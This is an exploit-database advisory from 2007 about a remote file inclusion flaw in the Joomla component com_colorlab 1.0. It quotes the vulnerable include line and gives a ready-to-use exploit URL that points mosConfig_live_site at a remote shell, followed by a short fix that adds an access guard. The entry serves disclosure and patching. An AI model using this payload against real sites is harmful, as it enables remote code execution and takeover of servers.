Joomla Component com_colorlab 1.0 Remote File Inclusion Vulnerability

2007-10-12T00:00:00
ID 1337DAY-ID-2222
Type zdt
Reporter xoron
Modified 2007-10-12T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================================
Joomla Component com_colorlab 1.0 Remote File Inclusion Vulnerability
=====================================================================



--------------------

Joomla com_colorlab Remote File Include

--------------------

Found : xoron

--------------------

Download:
http://download.joomlaportal.ch/content/view/474/

--------------------

Wrong Code:
include( "$mosConfig_live_site/components/com_color/about.html" );

--------------------

Exploit:
/administrator/components/com_color/admin.color.php?mosConfig_live_site=shell?

--------------------

How to Fix:
1-open admin.colo.php
2-write this codes before wrong codes

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

3-save and exit

--------------------

Thanx: mdx :)

--------------------



#  0day.today [2018-01-02]  #